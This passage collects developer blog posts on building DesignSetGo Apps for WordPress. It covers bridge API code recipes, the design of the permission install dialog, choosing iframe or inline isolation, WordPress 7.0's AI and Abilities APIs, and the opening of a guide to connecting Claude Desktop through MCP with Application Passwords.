"permissions": { "read": ["user"], "write": [] }
```

```
const canEdit = await dsgo.user.can('edit_posts');
editButton.disabled = !canEdit;
```

`dsgo.user.can` runs the same capability check WordPress would run for the rest of wp-admin. You don’t have to roll your own role logic; if the user is an editor, the call returns true; if their role got demoted, it returns false. Cache the result if you’ll check it more than once on the same render.

#### 4. Persist app-scoped state across sessions

```
"permissions": { "read": [], "write": [] }
```

```
const settings = (await dsgo.storage.app.get('settings')) ?? { theme: 'light' };
settings.theme = 'dark';
await dsgo.storage.app.set('settings', settings);
```

App storage is per-app, shared across all visitors of the site. Use it for things every user of the app should see: configuration the admin set, content the app authored, leaderboard tallies. Storage doesn’t activate a permission bucket and doesn’t appear in the install dialog as a row. (We talked about why in the [permission buckets post](https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/): adding a row trains users to ignore the rest, and storage is universal enough not to need its own.)

#### 5. Persist per-user state

```
"permissions": { "read": ["user"], "write": [] }
```

```
const prefs = (await dsgo.storage.user.get('prefs')) ?? { dismissed_tour: false };
prefs.dismissed_tour = true;
await dsgo.storage.user.set('prefs', prefs);
```

User storage is keyed by the visitor’s user ID. Logged-out visitors get a session-keyed bucket that does not survive logout. The bridge handles all the keying for you; your app sees raw values, never the keys. This is the right pattern for “remember this visitor’s preferences” without rolling a per-user database table.

#### 6. Render full post HTML with WordPress block styles

```
"permissions": { "read": ["posts"], "write": [] },
"content": { "blockStyles": ["core", "auto"] }
```

```
const post = await dsgo.posts.get(123);
postContainer.innerHTML = post.content;
dsgo.content.applyBlockStyles(post);
```

Without `applyBlockStyles`, your `innerHTML` is a structural skeleton: paragraphs, headings, images, but no styling. The plugin attaches a `content_styles` payload to each post response (when your manifest declares the `content` block), and `applyBlockStyles` pulls the stylesheets into your iframe, scoped to your container, so the rendered post looks like it would on the site. The call is idempotent and deduplicated.

#### 7. Route-aware page rendering

For `mount.mode: "root"` apps, the visitor’s URL path is part of the bridge context:

```
await dsgo.ready;
const path = dsgo.context.path;

if (path === '/about/') {
  renderAbout();
} else if (path.startsWith('/posts/')) {
  const slug = path.split('/').filter(Boolean).pop();
  renderPostDetail(slug);
}

dsgo.router.subscribe((loc) => {
  routeChanged(loc.path);
});
```

`dsgo.context.path` is a property, not a method (no parens, no await — read it after `dsgo.ready` resolves). Combine it with `dsgo.router.subscribe(handler)` if your app handles client-side routing and wants to react to URL changes without a full reload. `dsgo.router.navigate(path, opts?)` is the navigation half; calling it updates the URL bar and triggers any subscribed handlers.

#### 8. Call the site’s configured AI Connector

```
"permissions": { "read": ["ai"], "write": [] },
"ai": { "max_tool_calls": 5 }
```

```
const response = await dsgo.ai.prompt({
  messages: [
    { role: 'user', content: 'Summarize this paragraph in one sentence.' },
  ],
});
console.log(response.content);
```

The site’s configured Connector handles the actual provider call. Your app never sees an API key, never pays for inference, and stays portable across whichever provider the site is on. The response shape is `{ content, usage: { input_tokens, output_tokens }, tool_calls }`. If the site has no Connector configured, the call rejects with `ai_not_configured`; design your fallback so the rest of the page still renders without the AI piece. The architectural rationale is in [WP 7.0 changed what a plugin can be](https://designsetgo.dev/blog/wordpress-7-changed-what-a-plugin-can-be/).

#### 9. Publish an ability the site’s agent can call

```
"isolation": "iframe",
"abilities": {
  "publishes": [
    {
      "name": "my-app/word-count",
      "label": "Count words",
      "description": "Returns the word count of provided text.",
      "category": "content",
      "input_schema": {
        "type": "object",
        "properties": { "text": { "type": "string" } },
        "required": ["text"]
      },
      "output_schema": {
        "type": "object",
        "properties": { "count": { "type": "integer" } }
      },
      "annotations": { "readonly": true, "destructive": false, "idempotent": true }
    }
  ]
}
```

```
dsgo.abilities.implement('my-app/word-count', async ({ text }) => {
  return { count: text.trim().split(/\s+/).filter(Boolean).length };
});
```

Once installed, `my-app/word-count` is visible to the site’s AI agent like any other Abilities API ability. Your app gets called automatically when the agent decides this is the tool it needs. Iframe-mode only in v1; the publisher mounts a hidden iframe of your app on demand to handle the call. See [Apps as Abilities](https://designsetgo.dev/blog/apps-as-abilities/) for the broader architecture, and [Apps as Abilities deep dive](https://designsetgo.dev/blog/apps-as-abilities-vertical-pack/) for the vertical-pack pattern.

#### 10. Drive a detail page from a WordPress dataset

This one needs both a manifest route and a render-time bridge call. In the manifest:

```
{
  "path": "/posts/:slug",
  "file": "post/index.html",
  "dataset": { "source": "wp:posts", "id_field": "slug" }
}
```

In the rendered template (your single `post/index.html`):

```
await dsgo.ready;
const { slug } = dsgo.context.routeParams;
const { items } = await dsgo.posts.list({ slug, per_page: 1 });
const post = items[0];

document.querySelector('h1').textContent = post.title;
document.querySelector('article').innerHTML = post.content;
```

`dsgo.context.routeParams` is a property (no parens). `dsgo.posts.get(id)` takes only a numeric ID in v1; to fetch by slug, query `posts.list` with the slug filter and take the first match.

One HTML file, every post on the site. Built-in dataset sources include `wp:posts`, `wp:pages`, `wp:cpt:<slug>`, and `wc:products`. Custom resolvers register through a WP filter; that’s covered in [Dynamic routes deep dive](https://designsetgo.dev/blog/dynamic-routes-deep-dive/).

#### What’s deliberately not here

A few things you might expect that v1 doesn’t ship:

- **`fetch` to arbitrary origins.** Each app declares an explicit `runtime.external_origins` allowlist (full HTTPS origins, no wildcards). The CSP enforces it. If your app needs to talk to an external service, it goes through a declared, reviewable path. AI calls go through `dsgo.ai.prompt()`, not raw fetch.

- **Write methods.** `permissions.write` exists in the manifest schema but stays empty in v1. Write access is a different trust conversation, both at the bridge level (what does the app’s permission disclosure say?) and at the runtime level (how do we audit what changed?). v1 leaned conservative; v2 will widen the surface.

- **Direct DOM access to the parent page.** The bridge is the entire surface. The iframe sandbox prevents direct DOM access by design. If you find yourself wanting to reach into the parent’s DOM, you’re either fighting the runtime or solving the problem the wrong way.

- **A “re-render the whole bridge” reset.** Bridge state is per-iframe-mount. If you need to reset, navigate the iframe to a new URL inside your bundle, or unmount and remount the parent’s iframe.

#### How to use this list

A useful pattern: when you’re about to write a feature, scan this post for the closest match. If one of these recipes is 80% of what you want, copy it as the starting point and modify. Most DSGo App features are compositions of two or three of these patterns. “List recent posts, gate the edit button by capability, persist the visitor’s preferred sort order” is recipes 1 + 3 + 5 in three lines of glue.

If none of these recipes is close to what you want, two questions are worth asking. First: does the bridge actually expose what you need? Check the [reference](https://designsetgo.dev/docs/bridge-api). Second: is the right answer client-side bridge calls at all, or should the data be substituted server-side via a `dataset` route (recipe 10)? Server-side substitution is faster and SEO-friendlier; bridge calls are more flexible.

#### Where to go next

- [BRIDGE-API.md](https://designsetgo.dev/docs/bridge-api) for the full reference, every method, every error code, every permission scope.

- [MANIFEST.md](https://designsetgo.dev/docs/manifest) for the manifest schema.

- The next several posts in this calendar walk through specific use cases (contact form, member portal, recipe ranker) that compose these patterns into real apps.

### Permission buckets: the install dialog that doesn’t lie

URL: https://designsetgo.dev/blog/permission-buckets-the-install-dialog-that-doesnt-lie/
Published: 2026-05-01 · Nealey

When a site owner installs a DesignSetGo App, they see a dialog that lists what the app is asking permission to do. The dialog is the entire trust contract between the app and the site. If we get it wrong, every other safety feature in the runtime is window dressing.

Early drafts of the dialog were honest, technical, and unusable. They listed the manifest’s `permissions.read` array verbatim, so a real app’s row read something like:

> This app requests: `posts`, `pages`, `user`, `abilities`. Send: `email`. Commerce endpoints: `products`, `cart`. External origins: `api.acme.com`.

Technically accurate. Totally non-functional as a trust contract: a non-developer reading the row either glazes over or panics, and neither response reflects what the app actually does. We rewrote the dialog before shipping. This is what we landed on, and why.

#### The problem with raw permissions

The manifest’s `permissions.read` array can list values like `posts`, `pages`, `user`, `abilities`, `ai`, `commerce`. A `permissions.send` array can list `email`. There are also supplementary blocks: `commerce.endpoints` declares which Woo surfaces the app reaches, `runtime.external_origins` declares which third-party HTTPS origins it talks to, `scheduled.jobs` declares whether the app runs on a cron, and so on.

This is the right shape for the *runtime*. Each entry maps cleanly to bridge methods and capability checks. It is the wrong shape for a person who has thirty seconds and a question that’s really “should I trust this app on my site?”

A well-meaning but technical permission row reads like the v1 dialog above. A site owner sees it and either glazes over or panics. Both reactions are bad. Glazing over means they click Approve without thinking; panicking means they decline an app that’s actually fine. Neither outcome reflects what the app does.

#### What we ship instead

The install dialog has at most seven rows. Each row is a *bucket*, and a bucket activates only if the manifest has at least one declaration that matches it. The seven are:

- **Read content.** Active when any of `posts`, `pages`, `user`, `abilities`, `site` is in `permissions.read`. Plain English: the app can read things on your site (posts, pages, user info, what other plugins can do).

- **Write content.** Active when `permissions.write` is non-empty. (In v1 this stays empty; the bucket is built for v2.)

- **External services.** Active when `runtime.external_origins` is non-empty. The dialog lists the actual origins, because “this app talks to external services” without naming them is a worse disclosure than no disclosure.

- **Send messages.** Active when `permissions.send` includes `email`, or when later versions add SMS or chat. The bucket name is verb-shaped on purpose: site owners understand “send” intuitively.

- **AI.** Active when `permissions.read` includes `ai`. Calls go through the site’s configured Connector; the dialog reminds the owner of that, because the AI bucket is the one most likely to make people nervous and the architectural answer (“you control the Connector, you control the spend”) is a real reassurance.

- **Run automatically.** Active when `scheduled.jobs` is non-empty. This is the bucket that says “this app runs on its own schedule, not just when a visitor opens it.” It’s the difference between a calculator and a job.

- **Commerce.** Active when `permissions.read` includes `commerce` or `commerce.endpoints` is non-empty. The dialog lists which endpoints (products, cart, checkout, orders) so the owner knows what the app is touching.

That’s the whole list. Storage is intentionally not a bucket. Apps almost always need a little local state, none of it leaves the site, and putting “Storage” in the dialog as its own row trains users to ignore the rest. We mention it in a small footer note instead. The general rule we’re applying: every additional row in a permission dialog raises the cost of reading it, and rows that don’t correspond to a real risk just dilute the rows that do.

#### The bucket-detection rule

A bucket activates when *any* relevant manifest declaration is present, not just when a matching `permissions.read` entry shows up. This matters because several capabilities activate via supplementary blocks rather than the read array:

- Email activates via `permissions.send`, not `permissions.read`.

- Commerce can activate via `permissions.read: ["commerce"]` or via `commerce.endpoints` listing specific surfaces.

- External Services activates via `runtime.external_origins`.

- Run Automatically activates via `scheduled.jobs`.

The plugin’s `Bucket::active_for_raw` reads the entire raw manifest and unions the activations. The site owner sees a bucket if the app does the thing, regardless of which manifest field declared the thing. There is no manifest shape that hides a capability from the dialog.

If you build apps and you ever notice “huh, the dialog isn’t showing this bucket I expected,” the answer is almost always that the manifest field for that capability is empty or misnamed. Add it; the bucket appears.

This sounds obvious, but the alternative would have been to hand-curate which manifest fields contribute to which buckets, which would have invited a “this version of the plugin doesn’t show that bucket, install it on this site” downgrade attack we didn’t want to defend against. The single-source-of-truth rule (one function, all manifest fields) is robust to malicious manifests trying to be technically precise but functionally misleading.

#### Why we resisted “expand for details”

Early drafts had a “show advanced” toggle that revealed the raw permission strings under each bucket row. We pulled it. The reason: every UX study of permission dialogs (browser, mobile OS, OAuth) finds the same thing. Users either ignore the dialog entirely or read exactly the top-level summary. An “advanced” toggle reaches a population of zero. It looks like rigor; it functions as decoration. We were lying to ourselves about who would use it.

What replaced it: every bucket row has a deterministic plain-English description that is the same regardless of which manifest fields activated it, plus a “what this means for your site” sentence that’s specific to the bucket. The advanced details that used to live behind a toggle now live in our public permission reference, which any curious reader can pull up. The dialog stays clean.

A separate point worth making: telling users they can “click to see details” tends to inoculate them against being suspicious of the summary. They click the toggle, see a list of words they don’t understand, conclude “this is fine, the developers know what they’re doing,” and click Approve. The toggle becomes a confidence-laundering surface. Removing it forces the summary to be readable on its own, which is a higher bar but the right one.

#### What we’d revisit

A few honest open questions we know about and haven’t resolved:

- **Should “External Services” show the origin list inline, or behind a click?** We currently inline it, because hiding the origins felt like burying a real signal. But a manifest with eight external origins makes the dialog visually loud and pushes other buckets below the fold. The likely v2 move is “first three plus a count,” but it depends on whether the longer-origin-list case is common enough to matter; for now most v1 manifests stay under a handful of origins.

- **Should each bucket have a per-install deny option, or only an all-or-nothing approve?** v1 is all-or-nothing because partial grants make for a confusing runtime story (the app’s code asks for a bridge method that’s silently disabled, gets an error code that doesn’t really mean what the user did, and the developer files a bug we can’t reproduce). Per-bucket deny is the right v2 conversation, when the app authoring tools have caught up enough that authors can declare optional permissions distinctly from required ones.

- **What about apps installed via the CLI, not via the admin dialog?** A `deploy` from `npx designsetgo apps deploy` skips the dialog because the operator is presumably the developer. We log the buckets that would have been shown to a separate audit row, so a non-developer auditor can see what was approved by way of a CLI deploy. We don’t yet show that row in the admin UI, which we should. It’s been on the punch list for two releases.

- **Should the dialog cite an external trust signal (signed manifest, vetted publisher)?** v1 has none of that machinery. v2 might add publisher verification, but every prior attempt at “verified plugin authors” in the WP ecosystem has had governance problems we’d rather avoid until we have a better answer than “we say so.”

#### Why this is load-bearing

The plugin can be technically locked down. The bridge can be permission-gated. The iframe can be sandboxed. None of those matter if the install dialog is incomprehensible, because the user just clicks Approve and goes on with their day, regardless of what’s behind the click.

The bucket model is our attempt to make the click mean something. Seven legible rows, each one tied to a real capability the runtime will actually grant. If the user reads the dialog and approves, the approval reflects what the app does. If the user doesn’t read the dialog (most users won’t), the seven buckets are still few enough that their pre-attentive sense of “this seems reasonable / this seems much” tends to be approximately right. A dialog with three buckets activated feels different than one with seven, and the difference roughly tracks the actual capability difference.

That’s the bar. A trust dialog only works if it doesn’t lie, and only useful if the user can pattern-match on it without reading every word. Seven plain-English rows, one per real capability, no hidden permissions, no toggle for advanced details. Anything more elaborate gets ignored; anything less honest erodes the trust we’re trying to build.

For the field-level mapping between manifest declarations and buckets, see the source: class-permissions.php. For the design rationale that fed into the implementation, see docs/superpowers/specs/2026-05-09-permission-buckets-and-harness-pruning-design.md.

Nealey

### Iframe vs inline: picking the right isolation mode for your DSGo App

URL: https://designsetgo.dev/blog/iframe-vs-inline-picking-the-right-isolation-mode/
Published: 2026-04-30 · Nealey

Every DSGo App declares an `isolation` field in its manifest. The two values are `iframe` and `inline`. Most readers default to iframe (it’s the starter default), build something useful, and never think about the choice again. That’s fine. But there’s a class of apps where inline is the right answer, and missing that flips a “tool I added to my site” into “a real page my customers find on Google.”

Take the simplest example: a calculator built in iframe mode lives at `/apps/your-calculator/`, but the document the visitor’s browser renders at that URL is a thin parent page mounting the calculator inside a sandboxed iframe. View source on the URL: not much HTML. Crawler-friendly? No. Indexable? No. If you want Google to surface the calculator for searches that match it, iframe mode is the wrong call. Switching to inline mode is one field change in `dsgo-app.json`; after that, the calculator is rendered server-side as part of the WordPress page response and the crawler sees full HTML.

This post is the trade table for that decision: when iframe is the right call (most of the time), when inline is the right call (whenever the page needs to be findable), and the small handful of constraints in each mode that, if you don’t know about them, will surprise you.

#### What `iframe` actually does

`isolation: "iframe"` is the original DSGo runtime, and the starter scaffold’s default. The app’s bundle gets served at `/apps/{slug}/`, but the document the visitor’s browser renders at that URL is a thin parent page that mounts your bundle inside an `<iframe sandbox="allow-scripts" csp="…">`. The browser treats the iframe as an opaque-origin context. Your app cannot reach into the parent page. The parent page cannot reach into your app. The two communicate only over the `postMessage` bridge described in [BRIDGE-API.md](https://designsetgo.dev/docs/bridge-api).

What you get:

- **Strong isolation.** A misbehaving app crashes its own iframe and nothing else. Memory leaks, infinite loops, third-party scripts that throw, none of it touches the rest of the site. If an app you generated with Claude turns out to have a runaway `setInterval`, the worst case is the visitor closes the tab.

- **A clean security story for the install dialog.** Permissions are gated at the bridge boundary. Outside of approved scopes there is nothing your app can reach, and the install dialog’s permission buckets reflect the actual capability surface, not a wishful description.

- **Predictable rendering.** The iframe has its own document, its own CSS scope, its own JavaScript globals. No theme styles bleed in. No other plugin’s `wp_enqueue_script` lands inside your runtime. Your `<style>` block does what you said.

- **First-class fit for tools and widgets.** Calculators, configurators, dashboards, internal admin utilities, anything an authenticated user opens, uses, and closes.

What you give up:

- **The parent page is mostly empty HTML.** Search crawlers see an iframe shell, not your content. If discoverability matters, iframe is the wrong call.

- **Theme integration is opt-in only.** Your iframe does not inherit the WP theme’s typography, colors, or chrome. You ship that yourself, or accept that the app looks like an embedded tool sitting inside the page.

- **Tab title and meta come from the parent page.** Iframe-mode apps cannot set their own `<title>` or social meta tags directly. You set those on the wrapper, or you accept whatever the wrapper defaults to.

- **Some integrations are awkward.** A visitor’s “back” button operates on the parent page, not the iframe. Anchor links inside the iframe don’t update the parent URL. If those matter to your UX, you reach for `dsgo.router.*` and do explicit work; in inline mode they’d be free.

#### What `inline` does

`isolation: "inline"` is the second mode. Instead of mounting your bundle in an iframe, the plugin server-renders your app’s HTML directly into the WordPress page response. Your CSS and JavaScript get enqueued normally. A per-request Content Security Policy locks down what the rendered page can reach, but the document is, structurally, a real WordPress page that happens to have your app inside it.

What you get:

- **Real HTML at the URL.** View source on `/apps/your-slug/whatever` and there’s your content. Crawlers index it. Social previews unfurl correctly. The OpenGraph meta tags work. Google actually returns your page for searches that match it.

- **Theme wrap.** Your app sits inside the active WordPress theme’s header and footer. Branding, navigation, and chrome match the rest of the site for free. If you’d rather have full control, set `theme.wrap: "none"` and the theme stays out of your way.

- **Sitemap injection.** The plugin can announce your inline-mode routes in the site’s XML sitemap, so search engines find your pages without relying on internal links. Yoast SEO and Rank Math both pick this up automatically.

- **Multi-page apps that read like multi-page sites.** Each route in the manifest becomes its own crawlable URL with its own `<title>` and meta. The Astro-on-WordPress workflow lives here.

What you give up:

- **A larger trust surface.** The app’s HTML is part of the page response. The runtime mitigates this with `wp_kses` filtering, per-request CSP, and a strict allowlist of the bridge methods inline mode can call. But “the app’s bundle is a sandboxed iframe” is a stronger sentence than “the app’s HTML is filtered before render,” and you should know which one you’re operating under.

- **Some bridge methods are off the table.** Inline mode runs too entangled with the page to host an isolated handler. Specifically, `abilities.publishes` (the publish side of [Apps as Abilities](https://designsetgo.dev/blog/apps-as-abilities/)) is iframe-mode only in v1. If your app needs to expose a function the site’s agent can call, you’re in iframe.

- **A bit more discipline at build time.** Inline mode means the bundle is rendered through the WP page lifecycle, which means assumptions like “everything I import is available at runtime” get tested against `wp_kses` reality faster. CSP violations show up as 4xx in the network tab, not as silent failures.

- **Theme conflicts can surprise you.** If the active theme aggressively enqueues `<style>` tags that override your spacing, you have a fight on your hands that iframe mode never has. `theme.wrap: "none"` skips the wrap entirely and resolves most of these; `theme.wrap: "auto"` keeps the chrome and accepts the conflict.

#### How to pick

A short decision tree:

**Does the page need to show up in Google?**

- Yes: inline.

- No: iframe.

**Is the app something a logged-in user opens to do a task, then closes?**

- Yes: iframe is fine. Probably right.

- No (it’s a marketing surface, a public-facing detail page, a multi-page mini-site): inline.

**Does the app need to publish abilities for the site’s AI agent to call?**

- Yes: iframe. Publish-side abilities are iframe-only in v1.

- No: either is fine.

**Should the rendered page inherit the WP theme’s header, footer, and styling automatically?**

- Yes: inline.

- No (the app brings its own visual language): iframe, or inline with `theme.wrap: "none"`.

**Does the app need its own `<title>`, meta description, and OpenGraph tags per route?**

- Yes: inline. Each route declares `title` and `description` in the manifest’s `routes` array, and the plugin renders them into the head.

- No: iframe is simpler.

**Is this a single-page app or a multi-page app?**

- Single page: either.

- Multi-page (with real URLs per page): inline. Iframe mode supports client-side routing inside the iframe, but the URL bar doesn’t update, which kills shareable links and breaks the back button.

#### The combination that matters: inline + root mount

When you set `isolation: "inline"` *and* `mount: { "mode": "root" }`, the app stops living under `/apps/{slug}/` and starts owning `/`. WordPress’s regular front-end keeps serving real WP pages, posts, archives, and feeds (root mode adds, it doesn’t shadow), but anything WordPress would otherwise 404 on falls through to your route table.

That combination is what makes “build the entire front-end of your WordPress site as a DSGo App” work. The visitor lands on `/`. Your inline-mode root app renders. Search crawlers see real HTML. The editor still uses wp-admin to publish posts, and those posts still appear at their canonical URLs. WordPress is the CMS, the auth layer, the data source. Your app is the front-end.

If that sounds familiar, it’s because the [Astro on WordPress post](https://designsetgo.dev/blog/astro-on-wordpress/) walks through exactly this configuration. The website you’re reading this on (designsetgo.dev) is itself a root-mounted inline-mode DSGo App, with a build-time fetch from WordPress’s REST API for the blog index.

#### A small honest note

Iframe mode is the default for a reason. It has the strongest isolation guarantees, the simplest security model, and the broadest fit for the things people build first (tools, widgets, internal utilities). Most DSGo Apps will never need inline mode, and that’s fine. Picking iframe is rarely wrong; picking inline by accident, on a tool that didn’t need SEO, is sometimes wrong because it costs you the isolation guarantee for nothing.

Inline mode is a deliberate escalation. More capability, slightly more trust surface, real HTML at the URL. Use it when you want the page to be findable, theme-wrapped, and indexable. Don’t use it because it sounds more powerful.

The runtime doesn’t care which mode you picked. Same manifest schema. Same bridge surface (with the small inline-mode restrictions noted above). Same deploy command. Same install flow. The choice is about what the rendered URL should look like to the browser and to a crawler, not about which app is “real.”

For the field-level details on `isolation`, `mount.mode`, `theme.wrap`, and the inline-mode CSP knobs, see [MANIFEST.md](https://designsetgo.dev/docs/manifest). For the rendering pipeline implementation, the relevant source files are class-iframe-loader.php and class-inline-renderer.php.

### WordPress 7.0 changed what a plugin can be

URL: https://designsetgo.dev/blog/wordpress-7-0-changed-what-a-plugin-can-be/
Published: 2026-04-30 · Nealey

WordPress 7.0 shipped on May 20, 2026. Most of the release notes coverage focused on Site Editor improvements and the usual block-editor refinements. The actually load-bearing changes were three APIs that, taken together, rewrite what a WordPress plugin is allowed to assume. I want to walk through them, because the plugin I run is built entirely on top of them, and because I think the implications are still under-priced.

In particular, plugin authors who built BYOK-through-proxy AI features in 2024 and 2025 are about to discover that the architectural floor underneath their pricing model just moved. That's the part I keep wanting to write about.

#### The three APIs

**Connectors API.** Site admins go to `Settings → Connectors` once, paste in their Anthropic, OpenAI, or Google credentials, pick a default provider, and they're done. Every plugin that wants to call an LLM inherits that configuration. The plugin author no longer collects keys, no longer stores keys, no longer has to defend a key-storage UI in a security review, because there is no key to store. Structurally, this is the same trick WordPress pulled with `wp_mail` a decade ago: WordPress Core handles the boring delivery question, and plugins just call.

**WP AI Client.** A provider-agnostic PHP API for invoking a model. You write `wp_ai_client_prompt('summarize this paragraph: …')` and the configured Connector picks the provider, formats the request, handles retries, returns the result. Plugin code stops being coupled to any one vendor's SDK. If a site admin switches their Connector from Anthropic to OpenAI on a Tuesday, every plugin's AI features keep working on Wednesday with no code change.

**Abilities API.** The server-side half landed in WP 6.9 (November 2025). The client-side JavaScript half landed in 7.0. An ability is a registered function the site's AI agent can call, with a typed input schema, a typed output schema, and explicit annotations about whether the call is read-only, idempotent, or destructive. Yoast SEO Premium 27.5 (April 2026) was already shipping abilities like `analyze_page_seo`, `suggest_internal_links`, and `score_keyword_density` before 7.0 even cut. Plugins are no longer just things users click around in. They are surfaces an agent can talk to.

Each one of those three is a noticeable change on its own. The interaction between them is what matters.

#### What gets removed from the plugin author's job

If you were building an "AI WordPress plugin" anytime in 2024-2025, you spent a depressing amount of engineering time on questions that had nothing to do with your actual product:

- Where do we put the API key field? Should we hash it at rest? What if the site is multisite? What if the customer rotates the key without telling us?

- Which providers do we support? If we ship Anthropic-only, half the audience walks because they prefer GPT. If we add OpenAI, that's a second SDK to maintain, and a third when Gemini gets popular.

- How do we charge for inference? Pass-through markup? Subscription with credits? Tokens are unpredictable; nobody likes a metered bill that varies 4x month to month.

- What's our support story when a customer's quota runs out at 11pm on a Friday and their site's AI features start failing in production?

- Are we, technically, reselling Anthropic API access? Have we read the commercial terms recently?

Connectors plus WP AI Client deletes that whole list. The site owner brings the keys and the budget. The plugin brings the prompt engineering and the UX. The plugin author never sees the bill, never holds the key, never has the awkward terms-of-service conversation with the upstream provider.

This is the part the industry hasn't fully metabolized yet. Plugins that built BYOK-through-proxy infrastructure (the user gives you their key, you proxy the request, you keep usage metadata, you charge a subscription that wraps the inference cost plus margin) wrote a lot of code that WordPress Core now does for free. Worse: they kept liability the platform now handles. The architectural justification for the proxy is gone; the only reason to keep it is the subscription revenue it generates, which is exposed as exactly what it always was: a commercial markup on resold API access in a way the upstream commercial terms arguably forbid.

I don't know when, or whether, Anthropic and OpenAI will tighten enforcement on that. I do know that "the upstream provider could decide our entire revenue model violates their ToS" is a structurally bad place to be, and the architecture that puts you there got cheaper to avoid the day Connectors shipped.

#### What gets added

Abilities are the more interesting half, because they're net-new capability rather than removed work.

Before WP 6.9, "AI in WordPress" meant a chat box in wp-admin or a button on the post editor that called a model. The plugin owned the surface. The user typed at the plugin. If the site had three "AI plugins" installed, the user had three different chat boxes that didn't talk to each other.

After Abilities, the user types at *the site* and the site's agent figures out which plugin (or plugins) to call. Yoast registered SEO abilities. WooCommerce is registering commerce abilities. A weather plugin can register weather abilities. The user asks "which of my posts need internal-link improvements" and the agent pulls Yoast's `suggest_internal_links`. The user asks "show me the orders that need fulfillment from this week" and the agent pulls Woo's `list_pending_orders`. The user asks "draft a follow-up email to Tuesday's leads" and the agent composes Yoast plus Woo plus a transactional email plugin in one move, without the user knowing that's what happened.

Plugins stop being destinations. They become verbs.

If you ship a plugin, that is the surface to be on. The marketing site is fine, the plugin directory listing is fine, but the long-run discovery and stickiness now lives in being the thing the site's agent reaches for when it needs to do X. Search-based discovery is going to matter less every quarter. Agent-based discovery is going to matter more.

#### What this implies for our pricing model

DesignSetGo Apps is built on this whole stack. We do not collect API keys. We do not pay for inference. The harness we charge for (system prompts, tools, validators, autofix loop, critic, registry) is pure orchestration over the WP AI Client surface. When we tell a customer that their app's AI features will keep working when they swap Connectors, that's not a feature we wrote, it's a property of the platform.

Plugins that haven't moved to this architecture are still operating on the old assumptions. Some of them have signed Anthropic commercial agreements that scale poorly. Some of them are reselling API access in ways that didn't matter when there was no platform alternative and start mattering as soon as there is. Some of them are absorbing inference cost on free-tier users in a way that breaks at any reasonable scale. None of those are sustainable when the user has a Connector configured natively and a competing plugin uses it.

I'd love to say I planned this. I didn't, exactly. I started building DSGo a year before 7.0 was finalized, hedged on AI features for most of that year, and waited to see which way Core was going to swing. When Connectors landed in trunk and the dev note went up, the path got obvious. The earliest version of our AI bridge predates `wp_ai_client_prompt` by about three months and is approximately a worse, custom version of the same idea; we ripped it out and replaced it with the Core call as soon as that was usable.

#### What to do if you ship a WordPress plugin

A short, opinionated list:

- **If your plugin calls an LLM, route through `wp_ai_client_prompt` and require WP 7.0.** Drop your bespoke key-storage UI in the same release. Tell users they configure providers at `Settings → Connectors`. The transition is a couple of weekends, not a quarter, and the alternative is being structurally worse than your competition forever.

- **Pick one user-facing capability your plugin owns and register it as an ability.** Even one. The point is to be on the surface when the site's agent starts looking around for tools to call. The first two abilities are the hardest because the model is unfamiliar; the tenth is a five-minute commit.

- **Write input and output schemas like you mean it.** The agent picks tools based on signatures and descriptions. A vague description is the new SEO miss. "Returns information about the user" is the kind of thing the agent skips over; "Returns the current logged-in user's display name, email, role, and registered capabilities" is the kind of thing the agent reaches for.

- **If your plugin's value is "we figured out how to call OpenAI for you," your moat just evaporated.** Find the next layer up. Vertical specialization, prompt engineering, validation, integration with other plugins via Abilities. Pick something that's not in WP Core's job description.

I'd add a fifth, more general one: read the dev notes. WordPress's release process is unusually generous with explanation. The Connectors and AI Client dev notes spend pages on the second-order effects, and most plugin authors don't read them carefully because they're long and the immediate "what do I have to change in my code" is short. The second-order effects are where the strategy lives.

#### Where to read the primary sources

- The Connectors API dev note: [make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/](https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/)

- The WP AI Client dev note: [make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/](https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/)

- The Abilities API developer reference: [developer.wordpress.org/apis/abilities-api/](https://developer.wordpress.org/apis/abilities-api/)

- Our take on the second-order effects, in long form: [docs/wp-7-strategy.md](https://designsetgo.dev/how-it-works)

Nealey

### Connect Claude Desktop to WordPress with MCP and Application Passwords

URL: https://designsetgo.dev/blog/connect-claude-desktop-to-wordpress-with-mcp-and-application-passwords/
Published: 2026-04-30 · Nealey

There are two pieces people accidentally collapse into one:

- **MCP is the connection layer.** It is how Claude Desktop gets a new set of tools it can call.

- **An Application Password is the WordPress credential.** It is how those tools authenticate to your site.

Those are not competing options. You do not really connect Claude Desktop to WordPress "via MCP or via an app password." The useful setup is: Claude Desktop talks to a local MCP server, and that MCP server talks to WordPress over HTTPS using an Application Password.

That distinction matters because the unsafe version of this workflow is tempting: paste a WordPress username and password into a chat and ask Claude to make REST requests. Please do not do that. Claude Desktop needs a controlled tool surface. WordPress needs a revocable credential. MCP plus Application Passwords gives you both.

#### The shape of the connection

The flow looks like this:

```
Claude Desktop
  -> local WordPress MCP server
    -> HTTPS request to https://example.com/wp-json/...
      -> WordPress REST API
```

Claude never needs your main WordPress password. The MCP server is a program running on your machine. It exposes specific tools like `list_posts`, `create_draft`, or `upload_media`. When Claude wants to use one of those tools, Claude Desktop asks for your approval, the local server makes the REST API request, and WordPress checks the Application Password exactly like it would for any other external client.

That is the clean mental model:

LayerJobClaude DesktopConversation, reasoning, and tool approvalMCP serverDefines the WordPress actions Claude is allowed to requestApplication PasswordAuthenticates the MCP server as a specific WordPress userWordPress REST APIEnforces capabilities and performs the actual work

Anthropic's MCP docs describe MCP as the standard way for AI applications to connect with tools and data sources, with local MCP servers running on your device for desktop integrations. The MCP quickstart for Claude Desktop shows the same basic configuration shape: add a server to `claude_desktop_config.json`, restart Claude Desktop, then approve tool use as needed. WordPress, on the other side, documents Application Passwords as revocable, per-application credentials for programmatic access to APIs like the REST API.

In plain English: MCP decides *what Claude can ask for*. WordPress decides *whether the authenticated user is allowed to do it*.

#### Step 1: create a WordPress user for the job

Start with the WordPress side, not Claude.

If Claude only needs to draft blog posts, do not use an Administrator account. Create a dedicated WordPress user with the smallest role that can do the job. For most editorial workflows, that means Author or Editor. For site maintenance workflows, you may need Administrator, but treat that as a separate decision instead of the default.

A good user naming pattern is boring and explicit:

```
claude-desktop-editor
claude-desktop-staging
claude-desktop-deploy
```

